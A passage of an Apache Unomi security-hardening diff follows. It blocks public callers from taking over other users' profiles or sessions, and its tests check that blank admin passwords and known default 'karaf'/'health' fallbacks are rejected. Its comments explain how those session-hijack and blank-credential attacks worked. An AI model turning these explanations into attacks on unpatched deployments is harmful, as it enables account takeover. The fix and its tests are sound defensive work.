+ if (!trustedCaller) {
+ // Public callers: the cookie is the only profile bearer. Ignore body profileId entirely
+ // (including when no cookie is present — otherwise knowing a UUID is enough to load it).
+ if (requestedBodyProfileId != null && !requestedBodyProfileId.equals(cookieProfileIdAtRequest)) {
+ LOGGER.debug("Ignoring body profileId {} from public caller (cookie profileId is {})",
+ LogSanitizer.forLogging(requestedBodyProfileId), LogSanitizer.forLogging(cookieProfileIdAtRequest));
+ }
+ profileId = cookieProfileIdAtRequest;
+ } else if (profileId == null) {
+ profileId = cookieProfileIdAtRequest;
+ }
+ // else trusted caller keeps explicit body profileId (may differ from cookie)
+
+ // Trusted callers may intentionally bind to a body profileId that differs from the cookie.
+ //
+ // A missing cookie counts as "differs". Requiring a cookie here meant a trusted integration
+ // that sent an explicit profileId with no cookie - the normal shape for a server-side caller,
+ // which has no browser and therefore no cookie jar - had its profile silently replaced by the
+ // session owner further down, contradicting the documented ability to bind a profile
+ // intentionally.
+ final boolean trustedExplicitProfileOverride = trustedCaller
+ && requestedBodyProfileId != null
+ && !requestedBodyProfileId.equals(cookieProfileIdAtRequest);
+
+ // invalidateSession replaces the session bound to the supplied id, so it must not become a
+ // way around the ownership rule enforced below: without this check a public caller could
+ // pass any known session id together with invalidateSession=true and have it re-created
+ // pointing at their own profile.
+ if (invalidateSession && !trustedCaller && StringUtils.isNotBlank(effectiveSessionId)) {
+ Session existingSession = profileService.loadSession(effectiveSessionId);
+ if (existingSession != null && existingSession.getProfileId() != null
+ && !existingSession.getProfileId().equals(cookieProfileIdAtRequest)) {
+ LOGGER.warn("Refusing to invalidate session {} owned by profile {} for a public caller "
+ + "whose cookie bearer is {}",
+ LogSanitizer.forLogging(effectiveSessionId), LogSanitizer.forLogging(existingSession.getProfileId()),
+ LogSanitizer.forLogging(cookieProfileIdAtRequest));
+ eventsRequestContext.setSessionRefused(true);
+ effectiveSessionId = null;
+ }
}
- if (profileId == null && sessionId == null && personaId == null) {
+ if (profileId == null && effectiveSessionId == null && personaId == null) {
LOGGER.warn("Couldn't find profileId, sessionId or personaId in incoming request! Stopped processing request. See debug level for more information");
if (LOGGER.isDebugEnabled()) LOGGER.debug("Request dump: {}", HttpUtils.dumpRequestInfo(request));
throw new BadRequestException("Couldn't find profileId, sessionId or personaId in incoming request!");
@@ -161,9 +210,9 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St
// Try to recover existing session
Profile sessionProfile;
- if (StringUtils.isNotBlank(sessionId) && !invalidateSession) {
+ if (StringUtils.isNotBlank(effectiveSessionId) && !invalidateSession) {
- eventsRequestContext.setSession(profileService.loadSession(sessionId));
+ eventsRequestContext.setSession(profileService.loadSession(effectiveSessionId));
if (eventsRequestContext.getSession() != null) {
sessionProfile = eventsRequestContext.getSession().getProfile();
@@ -171,42 +220,63 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St
if (!eventsRequestContext.getProfile().isAnonymousProfile() &&
!anonymousSessionProfile &&
!eventsRequestContext.getProfile().getItemId().equals(sessionProfile.getItemId())) {
- // Session user has been switched, profile id in cookie is not up to date
- // We must reload the profile with the session ID as some properties could be missing from the session profile
- // #personalIdentifier
- Profile sessionProfileWithId = profileService.load(sessionProfile.getItemId());
- if (sessionProfileWithId != null) {
- eventsRequestContext.setProfile(sessionProfileWithId);
+ // Session profile differs from the request profile. Only switch when the
+ // cookie bearer already matches the session owner, or the caller is trusted —
+ // unless a trusted caller explicitly overrode the profile via the body.
+ boolean cookieOwnsSession = cookieProfileIdAtRequest != null
+ && cookieProfileIdAtRequest.equals(sessionProfile.getItemId());
+ if (!trustedExplicitProfileOverride && (cookieOwnsSession || trustedCaller)) {
+ Profile sessionProfileWithId = profileService.load(sessionProfile.getItemId());
+ if (sessionProfileWithId != null) {
+ eventsRequestContext.setProfile(sessionProfileWithId);
+ } else {
+ LOGGER.warn("Couldn't find profile ID {} referenced from session with ID {}, so we re-create it",
+ LogSanitizer.forLogging(sessionProfile.getItemId()), LogSanitizer.forLogging(effectiveSessionId));
+ eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(), timestamp));
+ }
+ } else if (trustedExplicitProfileOverride) {
+ LOGGER.debug("Keeping trusted body profileId {} despite session/cookie mismatch",
+ eventsRequestContext.getProfile().getItemId());
} else {
- LOGGER.warn("Couldn't find profile ID {} referenced from session with ID {}, so we re-create it", sessionProfile.getItemId(), sessionId);
- eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(), timestamp));
+ LOGGER.warn("Refusing to switch profile from {} to session profile {} without matching cookie bearer; "
+ + "detaching session {} for this request",
+ LogSanitizer.forLogging(eventsRequestContext.getProfile().getItemId()),
+ LogSanitizer.forLogging(sessionProfile.getItemId()), LogSanitizer.forLogging(effectiveSessionId));
+ // Detach so we neither adopt the foreign profile nor rebind the foreign
+ // session. No session exists for the rest of the request; the response
+ // must not echo the refused id back (see EventsRequestContext#isSessionRefused).
+ eventsRequestContext.setSession(null);
+ eventsRequestContext.setSessionRefused(true);
+ effectiveSessionId = null;
}
}
- // Handle anonymous situation
- Boolean requireAnonymousBrowsing = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile());
- if (requireAnonymousBrowsing && anonymousSessionProfile) {
- // User wants to browse anonymously, anonymous profile is already set.
- } else if (requireAnonymousBrowsing && !anonymousSessionProfile) {
- // User wants to browse anonymously, update the sessionProfile to anonymous profile
- sessionProfile = privacyService.getAnonymousProfile(eventsRequestContext.getProfile());
- eventsRequestContext.getSession().setProfile(sessionProfile);
- eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
- } else if (!requireAnonymousBrowsing && anonymousSessionProfile) {
- // User does not want to browse anonymously anymore, update the sessionProfile to real profile
- sessionProfile = eventsRequestContext.getProfile();
- eventsRequestContext.getSession().setProfile(sessionProfile);
- eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
- } else if (!requireAnonymousBrowsing && !anonymousSessionProfile) {
- // User does not want to browse anonymously, use the real profile. Check that session contains the current profile.
- sessionProfile = eventsRequestContext.getProfile();
- if (sessionProfile != null) {
- if (!eventsRequestContext.getSession().getProfileId().equals(sessionProfile.getItemId())) {
- eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
- }
+ // Handle anonymous situation (only when we still hold a session)
+ if (eventsRequestContext.getSession() != null) {
+ Boolean requireAnonymousBrowsing = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile());
+ if (requireAnonymousBrowsing && anonymousSessionProfile) {
+ // User wants to browse anonymously, anonymous profile is already set.
+ } else if (requireAnonymousBrowsing && !anonymousSessionProfile) {
+ // User wants to browse anonymously, update the sessionProfile to anonymous profile
+ sessionProfile = privacyService.getAnonymousProfile(eventsRequestContext.getProfile());
eventsRequestContext.getSession().setProfile(sessionProfile);
- } else {
- LOGGER.warn("Null profile in event request context");
+ eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
+ } else if (!requireAnonymousBrowsing && anonymousSessionProfile) {
+ // User does not want to browse anonymously anymore, update the sessionProfile to real profile
+ sessionProfile = eventsRequestContext.getProfile();
+ eventsRequestContext.getSession().setProfile(sessionProfile);
+ eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
+ } else if (!requireAnonymousBrowsing && !anonymousSessionProfile) {
+ // User does not want to browse anonymously, use the real profile. Check that session contains the current profile.
+ sessionProfile = eventsRequestContext.getProfile();
+ if (sessionProfile != null) {
+ if (!eventsRequestContext.getSession().getProfileId().equals(sessionProfile.getItemId())) {
+ eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
+ }
+ eventsRequestContext.getSession().setProfile(sessionProfile);
+ } else {
+ LOGGER.warn("Null profile in event request context");
+ }
}
}
}
@@ -217,10 +287,10 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St
sessionProfile = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile()) ?
privacyService.getAnonymousProfile(eventsRequestContext.getProfile()) : eventsRequestContext.getProfile();
- if (StringUtils.isNotBlank(sessionId)) {
+ if (StringUtils.isNotBlank(effectiveSessionId)) {
// Only save session and send event if a session id was provided, otherwise keep transient session
- Session session = new Session(sessionId, sessionProfile, timestamp, scope);
+ Session session = new Session(effectiveSessionId, sessionProfile, timestamp, scope);
eventsRequestContext.setSession(session);
eventsRequestContext.setNewSession(true);
eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
@@ -400,6 +470,16 @@ private Profile createNewProfile(String existingProfileId, Date timestamp) {
return profile;
}
+ /**
+ * System or tenant administrators may override profile/session binding; public callers may not.
+ *
+ * A tenant private key authenticates as {@link UnomiRoles#TENANT_ADMINISTRATOR}, so integrations
+ * using one are trusted here; a tenant public API key is not.
+ */
+ private boolean isTrustedProfileCaller() {
+ return securityService != null && securityService.hasSystemAccess();
+ }
+
/**
* Check if an event is allowed in V2 compatibility mode.
* In V2, protected events required IP + X-Unomi-Peer (third-party key) authentication.
diff --git a/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java b/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java
index 0b75e4e94a..36dc25fa94 100644
--- a/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java
+++ b/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java
@@ -37,6 +37,7 @@ public class EventsRequestContext {
private Session session;
private boolean newSession = false;
+ private boolean sessionRefused = false;
private HttpServletRequest request;
private HttpServletResponse response;
private int changes;
@@ -138,6 +139,30 @@ public void setNewSession(boolean newSession) {
this.newSession = newSession;
}
+ /**
+ * Returns whether the session id supplied with the request was refused.
+ *
+ * A public caller may only continue a session that the profile cookie it presented already
+ * owns. When it supplies someone else's session id the session is detached rather than
+ * rebound, and no session exists for the rest of the request. Callers building a response must
+ * not echo the supplied session id back in that case, or the client would believe its session
+ * was accepted and keep replaying the same rejected id.
+ *
+ * @return {@code true} when the supplied session id was rejected
+ */
+ public boolean isSessionRefused() {
+ return sessionRefused;
+ }
+
+ /**
+ * Records that the session id supplied with the request was refused.
+ *
+ * @param sessionRefused {@code true} when the supplied session id was rejected
+ */
+ public void setSessionRefused(boolean sessionRefused) {
+ this.sessionRefused = sessionRefused;
+ }
+
/**
* Returns the accumulated event-processing change flags.
*
diff --git a/rest/src/test/java/org/apache/unomi/rest/authentication/AuthenticationFilterBlankPasswordTest.java b/rest/src/test/java/org/apache/unomi/rest/authentication/AuthenticationFilterBlankPasswordTest.java
new file mode 100644
index 0000000000..a219885c30
--- /dev/null
+++ b/rest/src/test/java/org/apache/unomi/rest/authentication/AuthenticationFilterBlankPasswordTest.java
@@ -0,0 +1,243 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.rest.authentication;
+
+import org.apache.cxf.jaxrs.security.JAASAuthenticationFilter;
+import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.services.ExecutionContextManager;
+import org.apache.unomi.api.tenants.ApiKey;
+import org.apache.unomi.api.tenants.TenantService;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.mockito.ArgumentCaptor;
+
+import javax.ws.rs.container.ContainerRequestContext;
+import javax.ws.rs.core.HttpHeaders;
+import javax.ws.rs.core.Response;
+import javax.ws.rs.core.UriInfo;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+import java.util.Collections;
+import java.util.regex.Pattern;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+/**
+ * A blank {@code UNOMI_ROOT_PASSWORD} leaves the shipped JAAS administrator with an empty password
+ * that {@code PropertiesLoginModule} accepts. {@code bin/karaf} and the Docker entrypoint refuse to
+ * start in that state, but they cannot cover every launcher, so the REST layer must never accept an
+ * empty credential either.
+ *
+ * Covers both the predicate and its wiring into {@link AuthenticationFilter#filter}: the check is
+ * applied where a Basic credential is consumed, and must NOT reject anonymous traffic on public
+ * paths that ignores {@code Authorization} altogether.
+ */
+class AuthenticationFilterBlankPasswordTest {
+
+ private RestAuthenticationConfig restAuthenticationConfig;
+ private TenantService tenantService;
+ private JAASAuthenticationFilter jaasAuthenticationFilter;
+ private AuthenticationFilter filter;
+
+ @BeforeEach
+ void setUp() {
+ restAuthenticationConfig = mock(RestAuthenticationConfig.class);
+ tenantService = mock(TenantService.class);
+ // Stubbed so the tests below can assert the credential never reached JAAS. Every refusal
+ // path in the filter answers 401, so the status alone cannot tell "refused for a blank
+ // password" apart from "JAAS rejected it" — only this can.
+ jaasAuthenticationFilter = mock(JAASAuthenticationFilter.class);
+ filter = new AuthenticationFilter(
+ restAuthenticationConfig,
+ tenantService,
+ mock(SecurityService.class),
+ mock(ExecutionContextManager.class),
+ jaasAuthenticationFilter);
+ }
+
+ @Test
+ void emptyPasswordIsRejected() {
+ assertTrue(filter.hasBlankBasicAuthPassword(basic("karaf:")));
+ }
+
+ @Test
+ void emptyUserAndPasswordIsRejected() {
+ assertTrue(filter.hasBlankBasicAuthPassword(basic(":")));
+ }
+
+ @Test
+ void realPasswordIsAccepted() {
+ assertFalse(filter.hasBlankBasicAuthPassword(basic("karaf:a-strong-password")));
+ }
+
+ /**
+ * A password consisting of spaces is a real (if terrible) password, not the blank-resolution
+ * failure this guard exists for — leave it to the realm.
+ */
+ @Test
+ void whitespacePasswordIsNotTreatedAsBlank() {
+ assertFalse(filter.hasBlankBasicAuthPassword(basic("karaf: ")));
+ }
+
+ @Test
+ void missingOrNonBasicHeadersAreLeftToTheNormalPaths() {
+ assertFalse(filter.hasBlankBasicAuthPassword(null));
+ assertFalse(filter.hasBlankBasicAuthPassword("Bearer some-token"));
+ }
+
+ @Test
+ void malformedHeaderIsLeftToTheNormalPaths() {
+ assertFalse(filter.hasBlankBasicAuthPassword("Basic not-base64!!"));
+ // No colon at all: cannot be split into user and password.
+ assertFalse(filter.hasBlankBasicAuthPassword(basic("karaf")));
+ }
+
+ // ------------------------------------------------------------------ filter() wiring
+
+ /**
+ * The predicate being correct is not enough: if the call site were dropped or moved after an
+ * earlier {@code return}, only this test would notice.
+ */
+ @Test
+ void filterRejectsBlankPasswordOnAnAuthenticatedPath() throws IOException {
+ ContainerRequestContext requestContext = request("tenants", basic("karaf:"));
+
+ filter.filter(requestContext);
+
+ assertUnauthorizedWithoutReachingJaas(requestContext);
+ }
+
+ /** Control: a non-blank credential on the same path must still be handed to JAAS to judge. */
+ @Test
+ void filterPassesNonBlankPasswordToJaasOnAnAuthenticatedPath() throws IOException {
+ ContainerRequestContext requestContext = request("tenants", basic("karaf:a-strong-password"));
+
+ filter.filter(requestContext);
+
+ verify(jaasAuthenticationFilter).filter(requestContext);
+ }
+
+ /**
+ * V2 compatibility mode routes every request through {@link AuthenticationFilter}'s own
+ * private-endpoint branch, which consumes the Basic credential at a third, separate call site.
+ * Without this test that call site is unreachable from the suite: the other tests leave
+ * {@code isV2CompatibilityModeEnabled()} at the unstubbed Mockito {@code false}, so deleting
+ * the guard there would leave every test green.
+ */
+ @Test
+ void filterRejectsBlankPasswordOnAPrivatePathInV2CompatibilityMode() throws IOException {
+ when(restAuthenticationConfig.isV2CompatibilityModeEnabled()).thenReturn(true);
+ when(restAuthenticationConfig.getPublicPathPatterns()).thenReturn(Collections.emptyList());
+ ContainerRequestContext requestContext = request("profiles", basic("karaf:"));
+
+ filter.filter(requestContext);
+
+ assertUnauthorizedWithoutReachingJaas(requestContext);
+ }
+
+ /** Control for the V2 branch: a non-blank credential must still reach JAAS there too. */
+ @Test
+ void filterPassesNonBlankPasswordToJaasOnAPrivatePathInV2CompatibilityMode() throws IOException {
+ when(restAuthenticationConfig.isV2CompatibilityModeEnabled()).thenReturn(true);
+ when(restAuthenticationConfig.getPublicPathPatterns()).thenReturn(Collections.emptyList());
+ ContainerRequestContext requestContext = request("profiles", basic("karaf:a-strong-password"));
+
+ filter.filter(requestContext);
+
+ verify(jaasAuthenticationFilter).filter(requestContext);
+ }
+
+ /**
+ * A public path in V2 compatibility mode authenticates by default tenant, ignoring
+ * {@code Authorization} entirely — so a stray blank Basic header must not turn it into a 401.
+ */
+ @Test
+ void filterDoesNotRejectAStrayBlankBasicHeaderOnAPublicPathInV2CompatibilityMode() throws IOException {
+ when(restAuthenticationConfig.isV2CompatibilityModeEnabled()).thenReturn(true);
+ when(restAuthenticationConfig.getPublicPathPatterns())
+ .thenReturn(Collections.singletonList(Pattern.compile("POST context\\.json")));
+ when(restAuthenticationConfig.getV2CompatibilityDefaultTenantId()).thenReturn("default");
+ ContainerRequestContext requestContext = request("context.json", basic("someone:"));
+
+ filter.filter(requestContext);
+
+ verify(tenantService).getTenant("default");
+ }
+
+ private void assertUnauthorizedWithoutReachingJaas(ContainerRequestContext requestContext) throws IOException {
+ ArgumentCaptor aborted = ArgumentCaptor.forClass(Response.class);
+ verify(requestContext).abortWith(aborted.capture());
+ assertEquals(Response.Status.UNAUTHORIZED.getStatusCode(), aborted.getValue().getStatus());
+ verify(jaasAuthenticationFilter, never()).filter(any());
+ }
+
+ /**
+ * Regression guard for the placement bug: the check used to run at the top of {@code filter()},
+ * so anonymous traffic carrying a stray Basic header — a stale cached browser credential, an
+ * injecting proxy — was rejected before the public-path branch could authenticate it by API key.
+ *
+ * Asserted by observing that the public-path branch is still reached (the API key is looked up)
+ * rather than by asserting no abort: a public path whose API key does not resolve legitimately
+ * falls through and is refused for that unrelated reason, and authenticating one successfully
+ * needs a live CXF exchange, which is out of scope for a unit test.
+ */
+ @Test
+ void filterConsultsThePublicPathBranchDespiteAStrayBlankBasicHeader() throws IOException {
+ when(restAuthenticationConfig.getPublicPathPatterns())
+ .thenReturn(Collections.singletonList(Pattern.compile("POST context\\.json")));
+ ContainerRequestContext requestContext = request("context.json", basic("someone:"));
+
+ filter.filter(requestContext);
+
+ verify(tenantService).getTenantByApiKey(any(), eq(ApiKey.ApiKeyType.PUBLIC));
+ }
+
+ /** A public path with no Authorization header at all must equally reach the API-key lookup. */
+ @Test
+ void filterConsultsThePublicPathBranchForAnonymousRequests() throws IOException {
+ when(restAuthenticationConfig.getPublicPathPatterns())
+ .thenReturn(Collections.singletonList(Pattern.compile("POST context\\.json")));
+ ContainerRequestContext requestContext = request("context.json", null);
+
+ filter.filter(requestContext);
+
+ verify(tenantService).getTenantByApiKey(any(), eq(ApiKey.ApiKeyType.PUBLIC));
+ }
+
+ private ContainerRequestContext request(String path, String authHeader) {
+ ContainerRequestContext requestContext = mock(ContainerRequestContext.class);
+ UriInfo uriInfo = mock(UriInfo.class);
+ when(uriInfo.getPath()).thenReturn(path);
+ when(requestContext.getUriInfo()).thenReturn(uriInfo);
+ when(requestContext.getMethod()).thenReturn("POST");
+ when(requestContext.getHeaderString(HttpHeaders.AUTHORIZATION)).thenReturn(authHeader);
+ return requestContext;
+ }
+
+ private static String basic(String credentials) {
+ return "Basic " + Base64.getEncoder().encodeToString(credentials.getBytes(StandardCharsets.UTF_8));
+ }
+}
diff --git a/rest/src/test/java/org/apache/unomi/rest/config/ShippedAdminPasswordConfigTest.java b/rest/src/test/java/org/apache/unomi/rest/config/ShippedAdminPasswordConfigTest.java
new file mode 100644
index 0000000000..b44e9fea0c
--- /dev/null
+++ b/rest/src/test/java/org/apache/unomi/rest/config/ShippedAdminPasswordConfigTest.java
@@ -0,0 +1,428 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.rest.config;
+
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.io.TempDir;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.ValueSource;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assumptions.assumeTrue;
+
+/**
+ * Ensures the distribution cannot start with a known or blank admin/health password.
+ *
+ * The launcher guards are executed here rather than grepped: a check whose text is present
+ * but whose condition never matches would otherwise pass silently, which is exactly how the Windows
+ * {@code KARAF_SCRIPT} quoting bug survived review.
+ */
+class ShippedAdminPasswordConfigTest {
+
+ private static final String ROOT_PASSWORD_PROPERTY = "org.apache.unomi.security.root.password";
+ private static final String HEALTHCHECK_PASSWORD_PROPERTY = "org.apache.unomi.healthcheck.password";
+
+ /**
+ * The two files this test executes. They double as the fingerprint of the repository root (see
+ * {@link #locateRepoRoot()}): a directory containing both is the Unomi checkout, not some nested
+ * copy or a same-named directory further up the filesystem.
+ */
+ private static final String SETENV_PATH = "package/src/main/resources/bin/setenv";
+ private static final String ENTRYPOINT_PATH = "docker/src/main/docker/entrypoint.sh";
+
+ /** First line of the guard to copy out of entrypoint.sh. */
+ private static final String ENTRYPOINT_GUARD_START = "check_required_password()";
+ /** Last line of the guard; the slice is meaningless unless this is actually reached. */
+ private static final String ENTRYPOINT_GUARD_END = "UNOMI_SKIP_HEALTHCHECK_PASSWORD_CHECK || exit 1";
+
+ /** Default stub launcher name, mirroring {@code bin/karaf}. */
+ private static final String DEFAULT_KARAF_SCRIPT = "karaf";
+
+ private static final Path REPO_ROOT = locateRepoRoot();
+
+ // ---------------------------------------------------------------- shipped configuration
+
+ @Test
+ void usersProperties_hasNoKnownDefaultPasswordFallback() throws Exception {
+ String content = Files.readString(repoFile("package/src/main/resources/etc/users.properties"));
+
+ assertFalse(content.contains(":-karaf"), "users.properties must not default the karaf password to 'karaf'");
+ assertFalse(content.contains(":-health"), "users.properties must not default the health password to 'health'");
+ assertTrue(content.contains("${" + ROOT_PASSWORD_PROPERTY + "}"));
+ assertTrue(content.contains("${" + HEALTHCHECK_PASSWORD_PROPERTY + "}"));
+ }
+
+ @Test
+ void customSystemProperties_requiresRootPasswordEnvWithoutKnownDefault() throws Exception {
+ List securityLines = Files.readAllLines(repoFile("package/src/main/resources/etc/custom.system.properties"))
+ .stream()
+ .filter(line -> line.contains(ROOT_PASSWORD_PROPERTY) || line.contains(HEALTHCHECK_PASSWORD_PROPERTY))
+ .collect(Collectors.toList());
+
+ assertFalse(securityLines.isEmpty());
+ for (String line : securityLines) {
+ assertFalse(line.contains(":-karaf"), "root password must not fall back to karaf: " + line);
+ assertFalse(line.contains(":-health"), "health password must not fall back to health: " + line);
+ }
+ }
+
+ @Test
+ void profileCookieHttpOnly_defaultsToTrue() throws Exception {
+ String webCfg = Files.readString(repoFile("web-servlets/src/main/resources/org.apache.unomi.web.cfg"));
+ assertTrue(webCfg.matches("(?s).*profileIdCookieHttpOnly=\\$\\{[^}]*:-true}.*"),
+ "profileId cookie HttpOnly should default to true");
+
+ String systemProps = Files.readString(repoFile("package/src/main/resources/etc/custom.system.properties"));
+ assertTrue(systemProps.matches("(?s).*org\\.apache\\.unomi\\.profile\\.cookie\\.httpOnly=\\$\\{[^}]*:-true}.*"),
+ "custom.system.properties must default profile cookie HttpOnly to true");
+ }
+
+ // ---------------------------------------------------------------- bin/setenv, executed
+
+ @Test
+ void setenv_refusesToStartWhenPasswordsMissing(@TempDir Path karafHome) throws Exception {
+ assumeTrue(hasPosixShell(), "requires a POSIX shell");
+ installFakeKarafHome(karafHome, DEFAULT_KARAF_SCRIPT, "${env:UNOMI_ROOT_PASSWORD}", "${env:UNOMI_HEALTHCHECK_PASSWORD}");
+
+ Result missing = runLauncher(karafHome, DEFAULT_KARAF_SCRIPT, new HashMap<>());
+ assertEquals(1, missing.exitCode, "setenv must refuse to start without passwords:\n" + missing.output);
+ assertFalse(missing.output.contains("LAUNCHED"), "the launcher must not be reached");
+ assertTrue(missing.output.contains("UNOMI_ROOT_PASSWORD is not set"), missing.output);
+ }
+
+ /**
+ * The outer {@code case "${KARAF_SCRIPT}"} in bin/setenv lists every shipped script that boots a
+ * server: {@code bin/karaf}, {@code bin/start} and {@code bin/karaf server} all reach
+ * {@code org.apache.karaf.main.Main}. Only {@code karaf} used to be exercised here, so narrowing
+ * that list to a single entry would have gone unnoticed - now each entry has its own test case.
+ */
+ @ParameterizedTest(name = "KARAF_SCRIPT={0}")
+ @ValueSource(strings = {"karaf", "start", "server"})
+ void setenv_refusesToStartForEveryServerStartingScript(String karafScript, @TempDir Path tempDir) throws Exception {
+ assumeTrue(hasPosixShell(), "requires a POSIX shell");
+ Path karafHome = Files.createDirectories(tempDir.resolve(karafScript));
+ installFakeKarafHome(karafHome, karafScript, "${env:UNOMI_ROOT_PASSWORD}", "${env:UNOMI_HEALTHCHECK_PASSWORD}");
+
+ Result missing = runLauncher(karafHome, karafScript, new HashMap<>());
+ assertEquals(1, missing.exitCode,
+ "bin/" + karafScript + " starts a server, so it must refuse to run without passwords:\n" + missing.output);
+ assertFalse(missing.output.contains("LAUNCHED"), "the launcher must not be reached for KARAF_SCRIPT=" + karafScript);
+ assertTrue(missing.output.contains("UNOMI_ROOT_PASSWORD is not set"), missing.output);
+ }
+
+ /**
+ * The dedicated {@code bin/stop}, {@code bin/status}, {@code bin/client} and {@code bin/shell}
+ * scripts set {@code KARAF_SCRIPT} to their own name. None of them starts a server - they talk to
+ * an already running one - so the outer case must keep excluding them, otherwise stopping an
+ * instance would require the passwords used to start it.
+ */
+ @ParameterizedTest(name = "KARAF_SCRIPT={0}")
+ @ValueSource(strings = {"stop", "status", "client", "shell"})
+ void setenv_doesNotGuardScriptsThatOnlyTalkToARunningServer(String karafScript, @TempDir Path tempDir) throws Exception {
+ assumeTrue(hasPosixShell(), "requires a POSIX shell");
+ Path karafHome = Files.createDirectories(tempDir.resolve(karafScript));
+ installFakeKarafHome(karafHome, karafScript, "${env:UNOMI_ROOT_PASSWORD}", "${env:UNOMI_HEALTHCHECK_PASSWORD}");
+
+ Result result = runLauncher(karafHome, karafScript, new HashMap<>());
+ assertEquals(0, result.exitCode, "bin/" + karafScript + " must not require the passwords:\n" + result.output);
+ assertTrue(result.output.contains("LAUNCHED"), result.output);
+ }
+
+ @Test
+ void setenv_startsWhenPasswordsProvided(@TempDir Path karafHome) throws Exception {
+ assumeTrue(hasPosixShell(), "requires a POSIX shell");
+ installFakeKarafHome(karafHome, DEFAULT_KARAF_SCRIPT, "${env:UNOMI_ROOT_PASSWORD}", "${env:UNOMI_HEALTHCHECK_PASSWORD}");
+
+ Map env = new HashMap<>();
+ env.put("UNOMI_ROOT_PASSWORD", "a-strong-password");
+ env.put("UNOMI_HEALTHCHECK_PASSWORD", "a-strong-health-password");
+
+ Result provided = runLauncher(karafHome, DEFAULT_KARAF_SCRIPT, env);
+ assertEquals(0, provided.exitCode, provided.output);
+ assertTrue(provided.output.contains("LAUNCHED"), provided.output);
+ }
+
+ /**
+ * The escape hatch only suppresses the environment-variable check. Configuring the property
+ * directly is a supported way to start, and must not be reported as an error.
+ */
+ @Test
+ void setenv_acceptsPasswordsConfiguredInPropertiesFile(@TempDir Path karafHome) throws Exception {
+ assumeTrue(hasPosixShell(), "requires a POSIX shell");
+ installFakeKarafHome(karafHome, DEFAULT_KARAF_SCRIPT, "configured-root", "configured-health");
+
+ Result configured = runLauncher(karafHome, DEFAULT_KARAF_SCRIPT, new HashMap<>());
+ assertEquals(0, configured.exitCode, configured.output);
+ assertTrue(configured.output.contains("LAUNCHED"), configured.output);
+ }
+
+ /**
+ * Claiming the password is set elsewhere, while leaving it blank everywhere, is the dangerous
+ * case: it must warn rather than pass silently.
+ */
+ @Test
+ void setenv_warnsWhenSkipFlagHidesABlankPassword(@TempDir Path karafHome) throws Exception {
+ assumeTrue(hasPosixShell(), "requires a POSIX shell");
+ installFakeKarafHome(karafHome, DEFAULT_KARAF_SCRIPT, "${env:UNOMI_ROOT_PASSWORD}", "${env:UNOMI_HEALTHCHECK_PASSWORD}");
+
+ Map env = new HashMap<>();
+ env.put("UNOMI_SKIP_ROOT_PASSWORD_CHECK", "true");
+ env.put("UNOMI_SKIP_HEALTHCHECK_PASSWORD_CHECK", "true");
+
+ Result skipped = runLauncher(karafHome, DEFAULT_KARAF_SCRIPT, env);
+ assertEquals(0, skipped.exitCode, skipped.output);
+ assertTrue(skipped.output.contains("WARNING"), "a bypassed check must still warn:\n" + skipped.output);
+ }
+
+ /**
